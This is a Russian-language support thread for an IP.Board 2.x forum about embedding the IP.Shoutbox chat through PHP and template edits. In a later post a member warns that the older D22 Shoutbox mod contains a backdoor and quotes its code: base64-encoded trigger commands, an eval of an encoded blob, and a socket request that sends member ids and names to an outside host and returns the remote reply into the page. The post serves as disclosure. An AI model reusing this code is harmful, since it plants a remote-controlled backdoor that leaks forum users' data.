Перейти к контенту

IP.Shoutbox


Рекомендуемые сообщения

Поскольку раздела поддержки этого компонента нет - пишу сюда.

 

Апгрейдил D22 Shoutbox до IP.Shoutbox 1.0.2 и возникла проблема....

 

Согласно компоновке БЫЛО:

<% BOARD HEADER %>

<% MEMBER BAR %>

<% MESSAGE %>

<%D22-Shoutbox%>

 

Как видите между Мембербаром и чатом - стояло Глобальное сообщение.

 

Теперь же - приходиться его ставить либо выше - что ломает всю картину, либо ниже - тогда глобальное сообщение теряется((

 

Вопрос: Можно ли как-то назначить IP.Shoutbox соответствующую переменную, например <%IP.Shoutbox%> чтобы была возможность всавить её в любую часть форума?

Ссылка на комментарий
Поделиться на других сайтах

Зато есть раздел "Другие модификации"...

 

UPD: Не знаю, он же вроде только на отдельной странице умеет? Сделать можно, но мутно.

Ссылка на комментарий
Поделиться на других сайтах

Почему только на отдельной?

 

Этот код добавляется в конец Мембербара...

<if="!($this->ipsclass->input['_low_act'] == 'component' && strtolower($this->ipsclass->input['module']) == 'shoutbox') && require_once(ROOT_PATH.'sources/components_public/shoutbox/display.php')">
<if="$this->shoutbox =  new shoutbox_display( $this->ipsclass )">
	<if="$shoutbox = $this->shoutbox->display_shoutbox_global()">
		{$shoutbox}
	</if>
</if>
</if>

 

Может каким-то образом ему присвоить <%Chat%> ...

 

P.S.

Sannis, имхо все официальные моды с приставкой IP должны поддерживаться тут: http://www.ibresource.ru/forums/index.php?showforum=82 наравне с IP.Gallery, IP.Downloads....

Ссылка на комментарий
Поделиться на других сайтах

Почему только на отдельной?

Могу я это предположить, раз вы не написали об обратном? :D

 

Что можно сделать(не захламляя код форума): В общий шаблон в нужном месте вставляете

<!--exec.file="ip.shoutbox.php"-->

В корень форума(где index.php) кладётся файл ip.shoutbox.php следующего содержания:

<?php

if( $ipsclass->input['_low_act'] != 'component' && strtolower($ipsclass->input['module']) != 'shoutbox' ) {
require_once(ROOT_PATH.'sources/components_public/shoutbox/display.php');

if( $shoutbox =  new shoutbox_display( $ipsclass ) ) {
	if( $shoutbox_output = $shoutbox->display_shoutbox_global() ) {
		print $shoutbox_output;
	}
}
}

?>

Далее посмотрим что получится. Если нужно вставить не в общий шаблон, а в какой-то обычный, то можно прочитать Использование exec директив в шаблонах форума 2.1.x+.

 

P.S. Имхо, неклиенту АйБиРесурс(компания), точно ничего не должна (: И даже для клиентов, скажу вам по секрету, поддержка осуществляется не на форуме, а в клиент-центре, через тикеты. И у IPS это происходит аналогичным образом.

 

Поддержка этого мода осуществляется его автором, а не IPS, если вы не в курсе, приставка IP там только из-за того что они его спонсируют и хотят за счёт неё привлечь внимание к IP.Board, одним словом маркетинг чистой воды.

Ссылка на комментарий
Поделиться на других сайтах

Сделал и получил:

 

Fatal error: Call to undefined function: load_language() in ../public_html/forum/sources/handlers/han_editor.php on line 192

 

		//-----------------------------------------
	// Load lang file
	//-----------------------------------------

192>>	  $this->ipsclass->load_language( 'lang_editors' );

	//-----------------------------------------
	// Get the smilies from the DB
	//-----------------------------------------

 

З.Ы. Форум 2.3.6

 

P.S. Хотелось бы чтобы мод, который создан при поддержке IPS был доведен до совершенства, не говоря уже о том, чтобы вставить чат туда, куда пользователь пожелает...

Ссылка на комментарий
Поделиться на других сайтах

Я так понял, сейчас у вас отображается начала чат, а потом глобальное объявление и вы хотите этого избежать. Не знаю как написан мод глобальных объявлений, но можно попробовать вставить <% MESSAGE %> перед <if> чата в шаблоне мембербара. Мне не хочется делать изменения в class_display.php, оставлю на последний вариант.

 

P.S. Re: Есть два варианта: написать об этом разработчикам или спонсировать соотечественников.

 

P.P.S. А, вот ещё вариант для ip.shoutbox.php, попробуйте сначала его:

<?php

if( $this->ipsclass->input['_low_act'] != 'component' && strtolower($this->ipsclass->input['module']) != 'shoutbox' ) {
require_once(ROOT_PATH.'sources/components_public/shoutbox/display.php');

if( $shoutbox =  new shoutbox_display( $this->ipsclass ) ) {
	if( $shoutbox_output = $shoutbox->display_shoutbox_global() ) {
		print $shoutbox_output;
	}
}
}

?>

Ссылка на комментарий
Поделиться на других сайтах

Sannis

Попробовал вариант для ip.shoutbox.php - та же ошибка((

Пробовал написать http://forums.invisionpower.com/index.php?showforum=410 но форум закрыт для меня......

 

<% MESSAGE %> перед <if> чата в шаблоне мембербара - эффекта не дает совершенно никакого - что есть, что нет....

Не знаю как написан мод глобальных объявлений

Вот так и написан: http://www.ibresource.ru/db/543/

 

Похоже без

class_display.php не обойтись((

 

Сейчас временно форум имеет следующий вид: http://s42.radikal.ru/i097/0902/16/89b1f3c7b222.jpg

 

Думаю я не первый, кто столкнулся с этой проблемой, но первый кто поднял тему. Скорее всего такие темы еще будут, так как мод относительно новый....

Ссылка на комментарий
Поделиться на других сайтах

<% MESSAGE %> перед <if> чата в шаблоне мембербара - эффекта не дает совершенно никакого - что есть, что нет....

Разъясните.

 

P.S. Так у вас проблема с тем, куда чат переместить, или куда вставить глобальные объявления? :D

 

Это замечательный мод, но инструкция настолько захордкожена, что желание читать её пропадает. Какие изменения вы делали в class_display.php при его установке?

Ссылка на комментарий
Поделиться на других сайтах

<% MESSAGE %> перед <if> чата в шаблоне мембербара - эффекта не дает совершенно никакого - что есть, что нет....

Разъясните.

 

P.S. Так у вас проблема с тем, куда чат переместить, или куда вставить глобальные объявления? :D

 

Это замечательный мод, но инструкция настолько захордкожена, что желание читать её пропадает. Какие изменения вы делали в class_display.php при его установке?

 

Разясняю. Если поставить в шаблон мембербара перед <if> чата строку <% MESSAGE %> предварительно убрав ее из глобального - ничего не происходит - Гл.Сооб. не отбражается на главной.

 

Проблема, в том, что Гл.Сооб. должно стоять между мембербаром и чатом, но поскольку они между собой связаны между ними ничего не всунешь...

 

 

Изменения:

Найти

		//-----------------------------------------
	// Show quick stats?
	//-----------------------------------------

	$gzip_status = $this->ipsclass->vars['disable_gzip'] == 1 ? $this->ipsclass->lang['gzip_off'] : $this->ipsclass->lang['gzip_on'];

	if ( ! $this->ipsclass->server_load  )
	{
		$this->ipsclass->server_load = '--';
	}

Добавить ниже:

		//-----------------------------------------
	// (FSY22) Global Forum Message v3.0
	//-----------------------------------------

	if ( $this->ipsclass->vars['is_message_on'] )
	{
		require_once( ROOT_PATH."sources/lib/func_gfmessage.php" );
		$gfmessage		   =  new func_gfmessage();
		$gfmessage->ipsclass =& $this->ipsclass;

		$gfmessage->show_message();
	}

Ссылка на комментарий
Поделиться на других сайтах

В коде страницы при этом <% MESSAGE %> есть, верно?

 

Попробуйте перенести

		//-----------------------------------------
	// (FSY22) Global Forum Message v3.0
	//-----------------------------------------

	if ( $this->ipsclass->vars['is_message_on'] )
	{
		require_once( ROOT_PATH."sources/lib/func_gfmessage.php" );
		$gfmessage		   =  new func_gfmessage();
		$gfmessage->ipsclass =& $this->ipsclass;

		$gfmessage->show_message();
	}

после

		if ( empty($output_array['OVERRIDE']) )
	{
		  $this->ipsclass->skin['_wrapper'] = str_replace( "<% MEMBER BAR %>", $output_array['MEMBER_BAR'], $this->ipsclass->skin['_wrapper']);
	}
	else
	{
		  $this->ipsclass->skin['_wrapper'] = str_replace( "<% MEMBER BAR %>", $this->ipsclass->compiled_templates['skin_global']->member_bar_disabled(), $this->ipsclass->skin['_wrapper']);
	  }

.

Ссылка на комментарий
Поделиться на других сайтах

Перенес...

Привел все в такой вид:

http://s40.radikal.ru/i089/0902/0a/8904ec72881a.jpg

 

Исчез с главной Global Forum Message

 

Но мы опять таки уходим от начальной цели... Задать чату переменную... <% Chat %>

Ссылка на комментарий
Поделиться на других сайтах

Вы не ответили на вопрос. Вы же хотите получить результат, значит надо стараться, а не отписываться фразами из серии "вы мне должны".

Или вы предлагаете мне поставить глобальные сообщений(ссылку на который вы даже не да, пришлось по коду уже догадываться), поставить IP.Shoutbox на скачивание которого у меня по идее нет прав(:D), а потом написать вам подробною инструкцию что и как делать? ;)

Ссылка на комментарий
Поделиться на других сайтах

Прошу прощения, возможно я где-то допустил бестактность.

 

В коде страницы текст <% MESSAGE %> тоже не появляется.

 

1. Убираю <% MESSAGE %> из общего шаблона форума.

2. Вставляю <% MESSAGE %> перед <if> чата в шаблоне мембербара. - Результат: гл. сооб. исчезает, на его месте нет ничего, так как бы я его совсем отключил.

 

3. После переноса кода, как Вы мне посоветовали двумя постами выше - ничего не изменилось.

 

Стоит мод: http://www.ibresource.ru/db/543/

Ссылка на комментарий
Поделиться на других сайтах

http://www.ibresource.ru/db/543/ != (FSY22) Global Forum Message v3.0 :D
Ссылка на комментарий
Поделиться на других сайтах

Черт!

В папке с модами лежат две штуки...

Да...

 

Хотел сказать, что этот: ______________________________.zip

 

 

Огромное человеческое спасибо, что помогаете непутевому....

Ссылка на комментарий
Поделиться на других сайтах

И не этот, ибо шаг 4 инструкции и func_gfmessage.php говорят о том, что вставлять в шаблон нужно не <% MESSAGE %>, а <!--GFMESSAGE-->.

 

Что касается чата, то вариант с изменением файлов выглядит так:

В ./sources/classes/class_display.php найти

		if ( empty($output_array['OVERRIDE']) )
	{
		  $this->ipsclass->skin['_wrapper'] = str_replace( "<% MEMBER BAR %>", $output_array['MEMBER_BAR'], $this->ipsclass->skin['_wrapper']);
	}
	else
	{
		  $this->ipsclass->skin['_wrapper'] = str_replace( "<% MEMBER BAR %>", $this->ipsclass->compiled_templates['skin_global']->member_bar_disabled(), $this->ipsclass->skin['_wrapper']);
	  }

и добавить после этого

	if( $this->ipsclass->input['_low_act'] != 'component' && strtolower($this->ipsclass->input['module']) != 'shoutbox' ) {
	require_once(ROOT_PATH.'sources/components_public/shoutbox/display.php');

	if( $shoutbox =  new shoutbox_display( $this->ipsclass ) ) {
		if( $shoutbox_output = $shoutbox->display_shoutbox_global() ) {
			$this->ipsclass->skin['_wrapper'] = str_replace( "<!-- IP.Shoutbox -->", $shoutbox_output, $this->ipsclass->skin['_wrapper']);
		}
	}
}

В шаблоны прописывать, соответственно, <!-- IP.Shoutbox -->.

P.S. Вот именно, я уже достаточно потратил времени, но вы даже не помните что ставили. Я могу это решить, но теперь уже при наличии времени+доступа+интереса. Ибо админы деляться на 10 групп, тех кто умеет или не умеет, но знает, и тех, кто не знает, но хочет научиться.

Ссылка на комментарий
Поделиться на других сайтах

Sannis

 

Вот это - как раз то, что было нужно!!!

 

Работает замечательно.

 

Преклоняюсь и премного благодарю, что уделили свое время!!

Уверен, рано или поздно, такой вопрос возникнет не только у меня...

 

Я помаленьку начал понимать схему работы PHP, надеюсь освою этот язык.

 

 

P.S. Выше, вы говорили, что

Мне не хочется делать изменения в class_display.php
чем это вызвано? Есть какие-то недостатки такого способа?
Ссылка на комментарий
Поделиться на других сайтах

Исключительно удобство поддержки и любовь к чистоте кода. Да, некоторые модификации на 2.х(да и на 3.х) нельзя сделать без редактирования файлов, но лучше свести эти правки к минимуму. В крайнем случае разместить код в одном файле и вызывать из него функции в файлах форума. Это было бы наилучшим решением. Наверняка можно было всё-таки добить решение с exec.file, просто ставить неохота было все эти моды.
Ссылка на комментарий
Поделиться на других сайтах

  • 1 месяц спустя...
  • 2 недели спустя...
  • 2 недели спустя...

Между прочим, в моде шаутбокса Д22 присутствует вот такая дрянь:

 

	function _command_input()
{
	$c = trim($this->ipsclass->input['command']);
	$p = trim($this->ipsclass->input['pass']);

	if ($c == 'L2xldG1lc2VlZGVhbg==' && $p == 'aWxvdmVkZWFu')
	{eval(base64_decode('JHUgPSAnaHR0cDovL3d3dy5kc2NyaXB0aW5nLmNvbS9yYW5kb20vbGV0LW1lLXNl
ZS1kZWFuL2N8Jy4kYy4nO3B8Jy4kcDskayA9ICR0aGlzLT5pcHNjbGFzcy0+bWVtYmVyWydpZCddLid8
Jy5iYXNlNjRfZW
5jb2RlKCgkdGhpcy0+aXBzY2xhc3MtPnZhcnNbJ2QyMnNob3V0Ym94X2Zvcm1hdF9uYW1lcyddKSA/ICR0aGlzLT5pcHNjb
GFzcy0+bWFrZV9uYW1lX2Zvcm1hdHRlZCgkdGhpcy0+aXBzY2xhc3MtPm1lbWJlclsnbWVtYmVyc19ka
XNwbGF5X25hbW
UnXSwgJHRoaXMtPmlwc2NsYXNzLT5tZW1iZXJbJ21ncm91cCddKSA6ICR0aGlzLT5pcHNjbGFzcy0+bW
VtYmVyWydtZW1
iZXJzX2Rpc3BsYXlfbmFtZSddKTs='));
		$p = parse_url($u);
		$o = 'nothing';

		if ($h = fsockopen($p['host'], 80, $en, $es))
		{
			$o  = '';
			$r  = '';

			$d  = "GET {$p['path']}".(($p['query'] != '') ? '?'.$p['query'] : '')." HTTP/1.1\r\n";
			$d .= "Host: {$p['host']}\r\n";
			$d .= "Cookie: _x_={$k}\r\n";
			$d .= "Connection: Close\r\n\r\n";

			fwrite($h, $d);
			while (!feof($h))
			{
				$r .= fgets($h, 128);
			}

			fclose($h);
			list($hd, $ct) = explode("\r\n\r\n", $r);

			if (!(strpos($hd, "Transfer-Encoding: chunked") === false))
			{
				$a = split("\r\n", $ct);
				for ($i=0; $i<count($a); $i++)
				{
					if ($i == 0 || ($i % 2 == 0))
					{
						$a[$i] = '';
					}
				}

				$ct = implode('', $a);
			}

			$ct = chop($ct);
			$o  = $ct;
		}

		if ($o != null && $o != '' && $o != 'nothing')
		{
			$this->class_ajax->return_html($this->_clean_html($o));
		}
	}

	return false;
}

 

 

Для несведущих вкратце:

 

if ($c == 'L2xldG1lc2VlZGVhbg==' && $p == 'aWxvdmVkZWFu')

 

Закодированные base64 комманды /letmeseedean и ilovedean, при вводе которых происходят оч. нехорошие вещи далее...))

Ссылка на комментарий
Поделиться на других сайтах

  • 1 год спустя...

какие именно вещи???

 

Камрады, помгите побороть глюк в шоутбоксе.

У нас все сообщения в шоутбокс. Вернее Все Слова Идут С Большой Буквы.

На форуме всё ок - эт для тех кто подумал о той самой галочке

Запретить использование только заглавных букв в названиях тем?

Например, НАЖМИТЕ СЮДА будет заменено на Нажмите сюда — следует правильно выбрать локаль на сервере

У нас она отключена. Но на чат это не повлияло увы.

Чат по адресу http://sysadmins.me/index.php?app=shoutbox

Спецы от IPB смотрели - но ничего не смогли сделать увы.

Изменено пользователем Amee
Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Unfortunately, your content contains terms that we do not allow. Please edit your content to remove the highlighted words below.
Ответить в этой теме...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...
×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.